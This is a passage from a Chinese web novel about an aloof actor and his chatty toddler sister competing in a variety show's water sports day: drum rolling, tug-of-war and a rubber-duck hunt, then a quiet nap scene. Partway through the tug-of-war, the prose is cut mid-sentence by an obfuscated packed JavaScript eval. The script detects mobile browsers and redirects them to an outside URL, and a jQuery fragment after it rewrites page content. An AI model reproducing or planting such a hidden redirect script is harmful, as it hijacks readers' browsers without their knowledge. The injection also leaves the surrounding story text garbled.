“嗯!你是不是发烧了?” “没有。” “那你为什么这么烫?” “……因为天气热。” “可是现在是晚上,不热呀。” “那就是因为你在旁边。” 姜牧云愣了一下,然后脸“唰”地红了。 “哥哥你……你又说这种话!”她捂住了脸,“我要不好意思死了!” “你说过‘不好意思死了’?” “没有!但是我感觉我要死了!不好意思死了!” “那你死了吗?” “还没有……但是快了!” “那我帮你叫救护车。” “哥哥!!!” 姜牧野笑了。 是真的笑了。 不是零点五毫米,不是一秒就收回。 他蹲在月光下,看着面前这个捂着脸、耳朵红透了的小团子,笑得眼睛弯成了月牙。 那个笑容,被摄像师拍了下来。 后来这张照片被节目组用作了第三季的宣传海报。 海报上只有一行字: “他笑起来的时候,全世界都亮了。” 晚上的谈心环节结束后,姜牧野抱着已经困得睁不开眼的姜牧云回到了他们的小院。 10. 水上运动会 第二天清晨,姜牧云是被一阵公鸡打鸣声吵醒的。 她从小床上坐起来,两个小揪揪炸成了两个鸟窝,眼睛还没完全睁开,嘴巴已经开始工作了:“哥哥,外面有鸡在叫。” 隔壁床的姜牧野翻了个身,把被子蒙在头上:“嗯。” “哥哥,鸡为什么叫?” “因为它起床了。” “那它为什么要叫我们起床?” “它没有叫我们,它只是在叫。” “可是它把我们吵醒了呀!” “嗯。” “那它是故意的吗?” “不是。” “那它是不是不知道有人在睡觉?” “它不在乎。” “为什么不在乎?” “因为它是鸡。” 姜牧云想了想,觉得这个答案很有道理,于是点了点头:“那我去跟鸡说一声,让它明天小声一点。” 她从床上滑下来,小短腿悬空晃了晃才踩到地板,然后趿拉着比她脚大一倍的拖鞋,啪嗒啪嗒地往外走。 姜牧野猛地坐起来:“姜牧云,你穿着睡衣去跟鸡说话?” “对呀!鸡又不认识我的衣服!它只认识我的人!” “……回来换衣服。” “可是鸡等一下就不叫了!它叫完就走了!” “那就让它走。” “可是我要跟它说话呀!” “明天再说。” “明天它不记得我了怎么办?” “鸡不记事。” “你怎么知道?” “因为我是大人。” “大人什么都懂吗?” “对。” “那大人知道鸡为什么不记事吗?” “……” “哥哥?” “姜牧云,你再不换衣服,今天的草莓冰淇淋取消。” 三秒钟后,姜牧云乖乖地站在了床边,等着姜牧野给她穿衣服。 姜牧野从行李箱里翻出一件淡蓝色的小裙子,上面印着白色的小云朵。姜牧云看到这条裙子,眼睛亮了:“哥哥!这是我最喜欢的裙子!你怎么知道!” “因为你每次穿这条裙子都会转圈。” “因为这条裙子转起来最好看!像一朵云在飞!”她接过裙子,笨拙地往头上套,脑袋从领口钻出来的时候,头发炸得更厉害了,像一个被静电炸毛的小蒲公英。 姜牧野面无表情地拿起梳子,开始给她梳头。 “哥哥,你轻一点!我的头发很脆弱的!” “脆弱?” “对!阿姨说的!她说小孩子的头发很脆弱,要轻轻梳!” “我已经很轻了。” “那你为什么梳的时候我的头在晃?” “因为你的头太重了。” “才不是!是因为你太用力了!”她撅着嘴,但乖乖地站着没有躲。 姜牧野放慢了动作,一缕一缕地梳开她打结的头发。她的头发又细又软,像丝线一样从梳齿间滑过。梳到发尾的时候,他会用手握住头发根部,防止拉扯到她的头皮。 这个动作是他自己学会的。没人教他。他第一次给姜牧云梳头的时候,小姑娘疼得哇哇叫,他就上网搜了“怎么给小女孩梳头不疼”,看了十几个教学视频,练了一个星期才熟练。 现在他可以闭着眼睛给她扎小揪揪了。 虽然有时候还是会一高一低。 “好了。”他把两个小揪揪扎好,退后一步看了看——今天扎得还不错,基本齐平。 姜牧云跑到镜子前面照了照,满意地点点头:“哥哥今天扎得好好看!比昨天好看一百倍!” “昨天你说好看。” “昨天是昨天!今天的更好看!因为哥哥每天都在进步!” “……谢谢。” “不客气!”她笑嘻嘻地跑过来,拉住他的手,“走啦哥哥!去吃早饭!今天有什么活动?” “水上运动会。” 姜牧云的眼睛瞬间瞪得像两颗乒乓球:“水上运动会!!!是游泳吗!!!” “有游泳项目,也有其他水上项目。” “姜牧云不会游泳!”她的表情从兴奋变成了惊恐,“姜牧云会淹死的!” “不会淹死。有游泳圈。” “可是水很深怎么办!” “儿童区的水只到你膝盖。” “真的吗?” “真的。” “你保证?” “我保证。” 姜牧云想了想,伸出小拇指:“拉钩!” 姜牧野跟她拉钩盖章。 小姑娘这才放心地笑了,拉着他的手往外走,一边走一边哼着跑调的儿歌:“小燕子,穿花衣,年年春天来这里——” 唱到“这里”的时候,调子跑到了外太空。 姜牧野面无表情地听着,没有纠正她。 反正跑调也挺好听的。 ——至少他觉得。 --- 水上运动会在村子旁边的一个天然小湖泊里举行。 湖水清澈见底,能看到水下的鹅卵石和小鱼。湖边铺着一圈细沙,岸上搭了几个遮阳棚,棚下面摆着躺椅和饮料。远处的青山倒映在水面上,风吹过来的时候,山的倒影碎成一片一片的绿色,然后又慢慢合拢。 节目组在湖面上搭了一个浮台,用彩色浮标划分出了不同的比赛区域。儿童区的水深确实只到成人的小腿,但对于姜牧云来说,大概到她的大腿。 “哥哥你看!水里有鱼!”姜牧云趴在岸边,整个上半身都快探出去了,指着水里一条银色的小鱼大喊。 “看到了。” “鱼好小!好可爱!它有没有爸爸妈妈?” “有。” “它的爸爸妈妈在哪里?” “在水里。” “那它的哥哥呢?” “……也在水里。” “那它的哥哥会不会给它梳头?” “鱼没有头发。” “那鱼哥哥怎么照顾鱼妹妹?” 姜牧野想了想:“鱼哥哥会帮鱼妹妹找吃的。” “那鱼哥哥会帮鱼妹妹擦嘴吗?” “鱼不需要擦嘴。” “为什么?” “因为它们在水里,嘴一直是湿的。” 姜牧云愣了一下,然后恍然大悟:“对哦!鱼不会嘴干!好厉害!” 她认真地思考了一会儿,又问:“那如果鱼想吃草莓冰淇淋怎么办?” “鱼不吃冰淇淋。” “为什么不吃?冰淇淋多好吃呀!” “因为鱼生活在冷水里,再吃冰淇淋会冻僵。” “哦——那鱼好可怜。”她同情地看着水里的鱼,“它们不能吃冰淇淋。” “它们不觉得可怜。” “你怎么知道?” “因为它们是鱼。” “鱼的想法你又不懂。” “你懂?” “我懂!”她一本正经地说,“那条鱼刚才跟我说,它好想吃草莓冰淇淋!” “……它用什么语言说的?” “鱼语!” “你会鱼语?” “会呀!就是‘啵啵啵’!”她对着水里的鱼发出一串“啵啵啵”的声音,然后转头对姜牧野说,“它说它好羡慕姜牧云,因为姜牧云有哥哥,还有草莓冰淇淋。” 姜牧野沉默了三秒。 “你刚才说的‘啵啵啵’,在鱼语里是什么意思?” “‘你好,你好可爱,你有草莓冰淇淋吗?’” “鱼语这么长?” “对呀!鱼语很厉害的!一个字可以代表好多意思!” “那你刚才只说了三个‘啵’。” “因为我说的是缩写版!就像你说话一样!你每次都说很短!” “……我说话不是缩写。” “是的!你说‘嗯’就是‘我知道了你说得对我会去做’的意思!这就是缩写!” 姜牧野张了张嘴,发现自己无法反驳。 因为她说得对。 他确实经常用一个“嗯”来表达一整句话的意思。 但这个三岁半的小孩,居然能准确翻译他的“嗯”。 这让他有点感动,也有点害怕。 ——她太了解他了。 --- 九点钟,水上运动会正式开始。 主持人小林站在浮台上,穿着一件花花绿绿的夏威夷衬衫,戴着一顶草帽,手里拿着话筒,看起来像一个误入儿童节目的热带导游。 “各位大朋友小朋友,早上好!欢迎来到《和世界第一喜欢你》水上运动会特别场!” 四组家庭站在湖边,穿着各式各样的泳衣和防晒衣。 孙磊穿着一件紧身泳裤,露出壮硕的身材和满身的肌肉。孙小壮穿着一件同款小泳裤,父子俩站在一起,像一大一小两座肉山。 苏瑶穿了一件连体荷叶边泳衣,戴着一顶大遮阳帽,看起来像从复古海报里走出来的美人。林恬恬穿了一件粉色的公主泳衣,裙摆上缝着一圈小纱边,转起圈来像一朵粉色的花。 陈江河穿了一件普通的黑色泳裤,上身套着一件白色防晒衣,低调得像一个路人。陈小树穿了一件蓝色的泳裤,瘦瘦小小的,像一根被水泡软了的筷子。 姜牧野穿了一件黑色的及膝泳裤,露出精瘦但结实的上半身。他的身材不像孙磊那样夸张,但线条流畅,肌肉紧实,肩宽腰窄,腹肌若隐若现,像一尊被水浸润过的希腊雕塑。 岸上的工作人员(尤其是女性工作人员)集体倒吸了一口凉气。 “姜老师的身材……也太好了吧……”一个女编导小声对同事说。 “闭嘴,你在工作。”同事说,但自己也目不转睛地盯着看。 姜牧云穿了一件跟姜牧野同款的黑色小泳衣——当然不是同款,是姜牧野专门找人定做的迷你版。泳衣的胸口印着一朵白色的小云朵,跟她的名字呼应。 她站在姜牧野旁边,仰头看着他,认真地评价:“哥哥,你的肚子好硬。” “那是腹肌。” “腹肌是什么?” “肚子上的肌肉。” “为什么我没有?” “因为你还小。” “长大了就有了吗?” “不一定。” “那为什么你有?” “因为我锻炼。” “那我以后也要锻炼!我要跟哥哥一样有硬硬的肚子!” “……你不用。” “为什么不用?” “因为女孩子不需要腹肌。” “可是我想要!” “那你稍微练一点就行了。” “练到多硬?” “……像豆腐那么硬就行了。” “豆腐是软的!” “那就是嫩豆腐。” “嫩豆腐也是软的!” “那就是……不讨论了。准备比赛。” --- 第一项比赛:水上滚筒。 规则是每组家庭派出一名成员,钻进一个透明的大塑料滚筒里,然后在水中滚动前进,先到终点的人获胜。 孙磊第一个上场。 他钻进滚筒里,整个人蜷缩着,像一只被塞进罐头里的金枪鱼。滚筒对于普通人来说已经很大了,但对于一米八二、九十公斤的孙磊来说,实在是太小了。 “爸爸,你好像一个球!”孙小壮在岸上喊。 “你才是球!”孙磊在滚筒里喊回去,然后开始滚动。 滚筒在水面上滚动,孙磊在里面也跟着滚,整个人翻来覆去,像一台失控的洗衣机。水花四溅,滚筒歪歪扭扭地向前移动,但方向完全不受控制—— 它开始转圈了。 不是向前滚,是在原地转圈。 孙磊在里面被转得七荤八素,大喊:“我怎么在转圈!它为什么不往前走!” “爸爸你在里面走!不是滚!”孙小壮在岸上指导。 “我怎么走!我站不起来!” “你爬!像毛毛虫一样爬!” 孙磊开始在滚筒里爬。他的姿势非常不雅观——四肢着地,屁股撅得高高的,整个人像一个正在做俯卧撑的青蛙。滚筒终于开始向前移动了,但速度很慢,而且每移动一米就会偏转方向。 最后,孙磊以一种“狗刨式滚筒前进法”到达了终点,耗时三分四十七秒。 他从滚筒里爬出来的时候,头发全湿了,贴在脑门上,像一顶黑色的毛线帽。 “这个项目……太难了……”他喘着气说。 苏瑶第二个上场。 她比较聪明,没有像孙磊那样在里面乱滚,而是采用了“企鹅式”——双脚分开,身体微微前倾,小步小步地在滚筒里走。滚筒平稳地向前滚动,速度虽然不快,但方向很正。 “妈妈好厉害!”林恬恬在岸上鼓掌。 苏瑶得意地笑了笑,继续往前走。走到一半的时候,湖面上飘过来一片树叶,贴在了滚筒的外壁上。 苏瑶低头看了一眼那片树叶,然后—— 她的密集恐惧症犯了。 虽然滚筒是透明的,虽然那片树叶很小,但苏瑶就是害怕这种“东西贴在透明表面上”的感觉。她“啊——”地尖叫了一声,脚下一滑,整个人摔倒在滚筒里。 滚筒开始疯狂地转圈,苏瑶在里面滚来滚去,裙子翻上来盖住了脸,露出里面安全裤上印着的一行字: “今天也要加油鸭!” 全场笑疯了。 孙磊笑得在岸上打滚:“哈哈哈哈哈哈‘今天也要加油鸭’!瑶瑶你太可爱了哈哈哈哈!” 苏瑶从滚筒里挣扎着爬起来,把裙子拉下去,脸涨得通红:“不许笑!谁都不许笑!” 但连姜牧野的嘴角都弯了一下。 虽然只有零点三毫米。 陈小树第三个上场。 他是所有参赛者里最小的一个,钻进滚筒里之后,整个人显得格外小只,像一颗被放进水晶球里的豆子。 “小树,你行吗?”陈江河担心地问。 “我行。”陈小树的声音从滚筒里传出来,闷闷的,但很坚定。 他开始走了。 他的方法是——趴下来,用手和脚同时推滚筒的内壁,让滚筒向前滚动。这个方法非常有效,因为他的身体轻,接触面积大,滚筒滚动得又快又稳。 而且他在滚筒里趴着的姿势,看起来像一只正在做瑜伽的猫。 “爸爸,我在飞!”他在滚筒里喊。 “你慢一点!小心!” “不会的!我很稳!” 陈小树以一分钟零二秒的成绩到达了终点,是目前为止的最快纪录。 最后一个是姜牧云。 姜牧野把她抱起来,放进滚筒里。滚筒对于她来说太大了,她站在里面,头顶才到滚筒的一半高度,像一个被放进气球里的小人。 “哥哥,我好怕。”她看着周围透明的筒壁,葡萄眼里有一丝紧张。 “不怕。我在旁边。” “可是滚筒会转!我会摔倒!” “摔倒也没关系。筒壁是软的,不会疼。” “真的吗?” “真的。” “你保证?” “我保证。” 姜牧云深吸了一口气,点了点头:“好!姜牧云不怕!姜牧云是勇敢的女孩子!” 她开始走了。 她的方法是——像一只小鸭子一样,两只脚分开,一步一步地往前迈。她的步子很小,速度很慢,但每一步都很稳。 滚筒平稳地向前滚动,姜牧云在里面走得小心翼翼,表情严肃得像在走钢丝。 “哥哥你看!我没有摔倒!”她兴奋地喊。 “嗯,你很棒。” “姜牧云好厉害!” “嗯,你很厉害。” “姜牧云是第一名!” “……你还没到终点。” “但是我会到的!” 她加快了步伐,滚筒滚动得更快了。走到一半的时候,她的脚踩到了一个不平的地方,身体晃了一下—— “啊——” 她摔倒了。 整个人趴在滚筒底部,脸贴着透明的筒壁,鼻子被压扁了,像一只贴在玻璃上的小猫。 全场的心都揪了起来。 姜牧野的脚往前迈了一步,但停住了。 他在等。 姜牧云趴在滚筒里,愣了一秒。 然后她慢慢地爬起来,坐在滚筒底部,揉了揉被压扁的鼻子。 “哥哥,我的鼻子还在吗?”她问。 “在。” “没扁吗?” “没扁。” “可是刚才好扁!像猪鼻子!” “没有猪鼻子那么扁。” “那就好……”她松了口气,然后站起来,拍了拍膝盖,“姜牧云要继续走!” 她重新开始迈步。这次走得更慢了,但更稳了。她的双手张开,保持平衡,像一只走钢丝的小熊。 终于,她到达了终点。 “哥哥!!!我到了!!!”她从滚筒里钻出来,浑身湿淋淋的,头发贴在脸上,像一只落水的小狗。但她笑得特别灿烂,露出四颗小米粒一样的牙齿。 姜牧野蹲下来,把她头发上的水拧干,然后用浴巾把她裹起来。 “疼不疼?”他问。 “不疼!因为哥哥说了筒壁是软的!”她笑嘻嘻地说,“而且姜牧云没有哭!姜牧云是勇敢的女孩子!” “嗯,你很勇敢。” “那奖励呢?” “什么奖励?” “勇敢的女孩子应该有奖励!” “……你想要什么奖励?” “草莓冰淇淋!” “早上不能吃冰淇淋。” “那香蕉冰淇淋?” “也不行。” “那什么冰淇淋可以?” “没有冰淇淋可以。” “哥哥!!!”她鼓起腮帮子,“你说话不算数!” “我说的是‘勇敢的女孩子应该有奖励’,但我没说奖励是冰淇淋。” “那奖励是什么?” “奖励是——下午可以多吃一个草莓冰淇淋。” “那不就是冰淇淋吗!” “对,但时间是下午。” “……”姜牧云认真地想了想,然后点了点头,“好吧,下午就下午。但是要两个!” “一个。” “一个半!” “一个。” “一个加一小勺!” “……成交。” 姜牧云伸出小拇指,跟他拉钩盖章。 旁边的工作人员目睹了这场“冰淇淋外交”,集体露出了“这也行”的表情。 --- 第二项比赛:水上拔河。 是的,水上拔河。 规则是两组家庭分别站在湖中的浮台上,拉住一根粗麻绳的两端,谁先把对方拉下水谁就赢。 第一轮:姜牧野+姜牧云 vs 孙磊+孙小壮。 浮台是两块漂浮在水面上的大平板,每块大概两米见方,表面铺着防滑垫。人站在上面,浮台会随着水波轻轻晃动,保持平衡本身就是一件不容易的事。 姜牧野抱着姜牧云站上了左边的浮台。浮台晃了一下,姜牧云吓得抱紧了姜牧野的脖子。 “哥哥!地在水上会动!” “嗯,这是浮台。” “它为什么要动!” “因为水在动。” “水为什么要动!” “因为风在吹。” “风为什么要吹!” “因为……这是自然现象。” “自然现象为什么要动!” “姜牧云,你专心抱紧我,不要问问题。” “可是我好怕!” “怕什么?” “怕掉到水里!” “不会掉的。我抱着你。” “你保证?” “我保证。” 姜牧云把脸埋在姜牧野的颈窝里,闷闷地说:“那你要抱紧一点。” 姜牧野收紧了一只手臂,把她稳稳地固定在怀里。另一只手握住了绳子。 对面浮台上,孙磊和孙小壮也准备好了。孙磊站在前面,孙小壮站在他身后,抱着他的腰。 “姜老师,我不会手下留情的!”孙磊大喊。 “不用。”姜牧野面无表情地说。 “好!那就来吧!” 裁判哨响。 双方同时发力。 孙磊猛地一拉绳子,姜牧野脚下的浮台剧烈晃动了一下。他的核心力量很强,双腿微曲,稳稳地扎在浮台上,像一棵被风吹不弯的松树。 但姜牧云被这一下拉扯吓得“哇”了一声。 “哥哥!绳子在动!” “我知道。” “它为什么要动!” “因为对面在拉。” “对面为什么要拉!” “因为这是拔河。” “拔河是什么!” “就是比谁力气大。” “那我们力气大吗!” “大。” “比对面大吗!” “……差不多。” “那我们会赢吗!” “会。” 姜牧野深吸一口气,双腿发力,猛地往回一拉。 绳子瞬间绷紧,水花四溅。对面浮台上的孙磊被这股力量拉得往前踉跄了一步,脚趾头踩到了浮台的边缘—— “爸爸!你的脚!”孙小壮大喊。 “没事!”孙磊稳住身体,重新发力。 双方进入了拉锯战。绳子在中间来回移动,两个浮台之间的水面被搅得波涛汹涌。 姜牧云趴在姜牧野的肩膀上,看着对面的孙磊和孙小壮,忽然大喊:“孙叔叔!你放开绳子!我哥哥请你吃冰淇淋!” 孙磊差点笑出声,手一松,绳子往姜牧野那边滑了一大截。 “别听她的!她在分散你的注意力!”孙小壮在后面喊。 “孙小壮!我请你吃两个冰淇淋!草莓味的!”姜牧云继续喊。 “我不要冰淇淋!我要赢!”孙小壮意志坚定。 “三个!” “不要!” “五个!再加一个巧克力蛋糕!” 孙小壮犹豫了零点五秒。 “孙小壮!!!”孙磊大喊。 “我不要!”孙小壮赶紧摇头,“爸爸我什么都没说!” 姜牧野趁孙磊分心的瞬间,猛地发力—— 绳子“唰”地往姜牧野这边滑了一大截,孙磊脚下一滑—— “噗通——” 孙磊掉进了水里。 巨大的水花溅起来,像一颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437537|200985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸弹在水里爆炸,把旁边的摄像师都淋了个透。 “爸爸!!!”孙小壮趴在浮台上往下看。 孙磊从水里钻出来,抹了一把脸上的水,哭笑不得地说:“姜老师,你妹妹太狡猾了!” 姜牧云从姜牧野的肩膀上探出头,露出一个无辜的笑容:“孙叔叔,你说什么?我听不懂?” “你刚才用冰淇淋诱惑我儿子!” “我没有呀!我只是在跟小壮聊天!” “聊天聊到冰淇淋?” “对呀!我们在聊喜欢吃什么口味的冰淇淋!小壮说他喜欢巧克力味的!我说我喜欢草莓味的!我们在交流感情!” 孙磊张了张嘴,发现自己无法反驳一个三岁半小孩的逻辑。 他转头看向姜牧野:“姜老师,你妹妹这张嘴,是跟谁学的?” 姜牧野面无表情地说:“基因突变。” “哥哥!!!”姜牧云捶了一下他的肩膀,“我不是基因突变!” “那就是天赋异禀。” “天赋异禀是什么意思?” “就是天生很厉害。” “那倒是。”她骄傲地点了点头。 孙磊从水里爬上来,浑身湿透,像一只刚洗完澡的熊。他看着姜牧云,无奈地笑了:“行吧,输给你了。谁让你这么可爱呢。” 姜牧云甜甜地笑了:“谢谢孙叔叔!孙叔叔你人真好!虽然你很大只,但是你人很好!” “……大只跟人好有什么关系?” “没有关系!我就是想说你好!但是也想说你很大只!” 孙磊哭笑不得地摸了摸她的头。 --- 第三项比赛:水上抢鸭子。 这是今天最疯狂的项目。 规则是工作人员往湖里扔二十只橡皮鸭子,四组家庭在水中抢夺,抢到鸭子最多的家庭获胜。 二十只橡皮鸭子被装在一个大网兜里,由工作人员用无人机吊到湖中央,然后—— “放!” 网兜的底部松开,二十只黄色的小橡皮鸭子像天女散花一样从空中落下来,“噗通噗通”地掉进水里,溅起一片片小水花。 “鸭子!!!好多鸭子!!!”姜牧云兴奋得在浅水区蹦了起来,水花溅到她的脸上,她舔了一下嘴角,“哥哥!水是甜的!” “那不是甜的,是心理作用。” “就是甜的!因为里面泡过鸭子!鸭子是甜的!” “鸭子不是甜的。” “橡皮鸭子是甜的!因为是橡皮做的!橡皮是甜的!” “橡皮不是甜的。” “你怎么知道?你吃过橡皮?” “……没有。” “那你怎么知道橡皮不是甜的!你没吃过就不能确定!” 姜牧野决定不跟她争论橡皮的口感问题。 湖面上已经乱成了一锅粥。 孙磊像一艘航空母舰一样在水里横冲直撞,所到之处水花四溅。他一手捞起一只橡皮鸭子,大喊:“小壮!接住!”然后把鸭子扔向岸边的孙小壮。 孙小壮在岸上接住鸭子,放进桶里,动作干脆利落,像棒球比赛里的捕手。 苏瑶在浅水区优雅地走来走去,弯腰捡起一只鸭子,放进林恬恬怀里。林恬恬抱着鸭子,开心得转圈:“妈妈!我有一只了!一只黄色的!” “恬恬好棒!继续捡!” 陈江河和陈小树采用合作战术。陈小树在水里找鸭子,找到之后用手指一指,陈江河就游过去捡起来。父子俩配合默契,效率极高。 但最引人注目的,是姜牧野和姜牧云。 姜牧野把姜牧云扛在肩膀上,让她坐在自己的脖子上。小姑娘坐在高处,视野开阔,能看到整个湖面的情况。 “哥哥!左边有一只!左边左边!” 姜牧野游向左边,捡起鸭子,递给姜牧云。 “哥哥!右边!右边有一只!不对,两只!一大一小!” 姜牧野游向右边,捡起两只鸭子,递给姜牧云。 “哥哥!前面!前面有一只被水草缠住了!它好可怜!快去救它!” 姜牧野游向前方,从水草里解救出一只被缠住的橡皮鸭子,递给姜牧云。 姜牧云抱着鸭子,心疼地摸了摸它的头:“不怕不怕,姜牧云来救你了。你以后要小心一点,不要乱跑,会被水草抓走的。” 她说话的语气,像一个在教训不听话孩子的老母亲。 “哥哥,那只鸭子好远!在浮台那边!”姜牧云指向远处。 “太远了,游过去来不及。” “那怎么办?” “你有什么办法?” 姜牧云想了想,然后深吸一口气,对着远处的鸭子大喊:“小鸭子!你不要动!姜牧云来救你!你等着!” 远处的鸭子当然不会动。因为它是一只橡皮鸭子。 但姜牧云喊完之后,转头对姜牧野说:“哥哥,我跟它说好了,它不动了。我们可以慢慢游过去。” “……你跟一只橡皮鸭子说好了?” “对呀!它答应了!它说它会等我们的!” “橡皮鸭子不会说话。” “会的!只是你听不到!因为你不是小孩子!小孩子的耳朵才能听到橡皮鸭子的声音!” “谁说的?” “姜牧云说的!” 姜牧野深吸一口气,认命地游向远处的鸭子。 他一边游一边想:我的职业生涯是从一个龙套角色开始的,我演过杀手、演过皇帝、演过流浪汉、演过科学家。但我从来没有想过,有一天我会在三岁半妹妹的指挥下,在湖里追一只橡皮鸭子。 而且我还追得挺开心的。 这大概就是传说中的“妹控晚期”吧。 比赛结束,工作人员开始清点各组的鸭子数量。 孙磊和孙小壮:七只。 苏瑶和林恬恬:四只。 陈江河和陈小树:六只。 姜牧野和姜牧云:——十只? “怎么多了一只?”工作人员数了两遍,“明明是二十只鸭子,你们十只,孙老师七只,陈老师六只,苏老师四只,加起来二十七只?” “因为我们的鸭子生了一只小鸭子。”姜牧云一本正经地说。 “……鸭子是橡皮的,不会生小鸭子。” “会的!在水里就会!因为水有魔法!把橡皮鸭子放在水里,它就会生小鸭子!” 工作人员看向姜牧野,眼神里写着“你妹妹认真的吗”。 姜牧野面无表情地说:“她捡到了一只不知道从哪里飘来的旧鸭子。” “哥哥!!!”姜牧云急得跺脚,“你为什么要说出来!那是我们的秘密!那只小鸭子是我们的幸运鸭子!” “幸运鸭子也需要诚实。” “可是你说了就没有惊喜了!” “什么惊喜?” “就是——我们有多一只鸭子!大家都会觉得好厉害!结果你说那是捡来的!大家就不觉得厉害了!” “本来就不是我们赢来的,为什么要让大家觉得厉害?” “因为……因为……”姜牧云的嘴巴瘪了瘪,“因为我想让大家觉得哥哥好厉害。” 姜牧野愣了一下。 “我想让大家都知道,我哥哥是全世界最厉害的人。”她低下头,小声说,“他会游泳,会捡鸭子,会接住我,会给我扎头发,会做煎饼,虽然煎饼长得像土豆。他什么都会。所以我想让大家觉得他好厉害。” 湖面安静了一瞬。 孙磊第一个打破了沉默:“姜老师,你妹妹这话说得我都要哭了。” 苏瑶的眼眶红了:“云云好懂事……” 陈江河没有说话,但他看着姜牧云的眼神里,有一种温柔的敬意。 姜牧野蹲下来,跟姜牧云平视。 “姜牧云,”他说,“我不需要别人觉得我厉害。” “为什么?” “因为我只需要你觉得我厉害就够了。” “可是我觉得你很厉害呀!” “那就够了。” “真的吗?” “真的。” “那你不怪我刚才说鸭子生了小鸭子吗?” “……那件事还是要怪你的。” “为什么!” “因为撒谎不对。” “可是我只是想让故事更好听一点!” “事实本身就好听,不需要编故事。” “事实哪里好听了?‘姜牧云捡到了一只旧鸭子’——这有什么好听的?” “好听的地方在于——你发现了一只被遗弃的鸭子,然后你把它捡起来了,你没有让它孤零零地飘在湖里。这说明你是一个善良的人。善良的故事,比鸭子生小鸭子的故事更好听。” 姜牧云看着哥哥,葡萄眼里有什么东西在发光。 “真的吗?”她小声问。 “真的。” “善良的故事更好听?” “嗯。” 姜牧云想了想,然后点了点头:“好吧,那我以后不编故事了。但是——” “但是什么?” “但是我还是觉得鸭子生小鸭子的故事更好听。” 姜牧野沉默了一秒。 “……那你偶尔可以编一下。” “真的吗!” “真的。但是不要太过分。” “什么算过分?” “比如说鸭子生了一百只小鸭子。” “那一百只小鸭子算过分吗?” “算。” “那五十只呢?” “算。” “十只呢?” “……不算。” “好!那我下次就说鸭子生了十只小鸭子!” “没有下次了。比赛只有一次。” “可是还有别的比赛呀!下次比赛我可以说气球生了一堆小气球!” “气球不会生小气球。” “可是你说的!偶尔可以编一下!” “……我收回。” “不能收回!拉过钩的!” “我没跟你拉钩。” “那我们现在拉!” 她伸出小拇指。姜牧野看了看她的小拇指,又看了看她认真的表情。 然后他伸出手,跟她拉了钩。 “拉钩上吊,一百年不许变!”姜牧云用力地盖了个章,然后满意地笑了,“哥哥,你真好。” “嗯。” “你是全世界最好的哥哥。” “嗯。” “你‘嗯’的意思是‘你也是全世界最好的妹妹’对不对?” “……不是。” “骗人!你每次‘嗯’的时候嘴角都会弯!这次弯了!我看到了!” 姜牧野下意识地摸了摸嘴角。 没有弯。 但这不重要了。 因为姜牧云已经笑着扑进了他怀里,湿淋淋的小身体贴在他胸口,暖暖的,软软的,带着湖水的清凉和草莓沐浴露的香气。 “哥哥,”她小声说,“我好喜欢你。” 姜牧野抱着她,轻轻地拍了拍她的后背。 “我也是。”他说。 这次他没有说“嗯”。 他说了“我也是”。 因为他觉得,有些话,还是说出来比较好。 虽然只多了两个字。 但那两个字,比一百个“嗯”都重。 11. 午后的意外 水上运动会结束后,所有嘉宾都累得够呛。 孙磊躺在岸边的躺椅上,像一条被晒干的海狮。孙小壮趴在他肚子上,跟着爸爸的呼吸一起一伏,像在坐一艘摇晃的小船。 苏瑶在遮阳棚下给林恬恬擦防晒霜。林恬恬乖乖地站着,伸开双臂,像一个接受安检的小旅客。 陈江河和陈小树坐在湖边,陈小树举着相机拍水面上飞过的白鹭。陈江河指着天空,教他辨认鸟的种类。 姜牧野抱着姜牧云回到他们的小院,准备换衣服午睡。 姜牧云今天上午玩得太疯了,从水里出来之后就一直打哈欠,但嘴巴还是停不下来: “哥哥,今天的水好凉!像冰箱里的水!” “嗯。” “但是鸭子不怕凉!因为鸭子有羽毛!” “橡皮鸭子没有羽毛。” “它有!它有一层隐形的羽毛!你看不到的!” “……” “哥哥,你说鸭子会不会游泳?” “会。” “橡皮鸭子也会游泳吗?” “会漂。” “那它会潜水吗?” “不会。” “为什么不会?” “因为它里面是空的。” “空的为什么不能潜水?” “因为浮力。” “福利?什么福利?鸭子还有福利?” “不是福利,是浮力。就是水会把轻的东西托起来。” “那水为什么不把姜牧云托起来?” “因为你比水重。” “姜牧云才不重!姜牧云很轻的!哥哥你昨天抱我的时候说我很轻!” “那是相对的。你对我来说很轻,但对水来说你很重。” “水觉得我重?水还会觉得?” “……水不会觉得。这是一个物理概念。” “物理概念是什么?” “就是……大自然的规则。” “大自然的规则是谁定的?” “没有人定。它本来就是这样。” “那为什么本来就是这样?” “因为……这就是世界运作的方式。” “世界为什么要这样运作?” 姜牧野深吸一口气。 “姜牧云,你该午睡了。” “可是我还有问题!” “下午再问。” “可是下午我会忘记的!” “那说明这个问题不重要。” “才不是!是因为我太小了!记不住!你帮姜牧云记住!下午提醒我!” “好。现在睡觉。” 姜牧云终于闭上了嘴巴,躺在了小床上。姜牧野给她盖好被子,坐在旁边的椅子上,拿起一本书假装在看。 三分钟后,姜牧云的呼吸变得均匀了。 五分钟后,她翻了个身,把小脚丫从被子里伸出来。 姜牧野把她的脚丫塞回去。 又过了两分钟,她又伸出来了。 姜牧野又塞回去。 第三次,他没有塞回去,而是把被子往上拉了拉,盖住了她的肚子和胸口,让脚丫露在外面。 ——反正夏天不冷,让她舒服点吧。 他看了一眼她露在外面的小脚丫,五个脚趾头像五颗排列整齐的小豆子,指甲剪得短短的、圆圆的,是他前天晚上趁她睡着的时候剪的。 因为他上次给她剪指甲的时候,她全程在尖叫:“哥哥你剪到我的肉了!!!”其实没有,但他还是紧张得手心冒汗。后来他就学聪明了——等她睡着了再剪。 她睡着的时候,不会动,不会叫,不会问“为什么指甲剪了还会长”。 安静得像一只睡着了的小猫。 姜牧野看着她,忽然觉得,如果时间能停在这一刻就好了。 不是因为这一刻有什么特别的。 而是因为这一刻很普通。 普通到——他在她身边,她在他身边。她在睡觉,他在看她。窗外有蝉鸣,院子里有槐树的影子,风从窗户吹进来,翻动他放在膝盖上的书页。 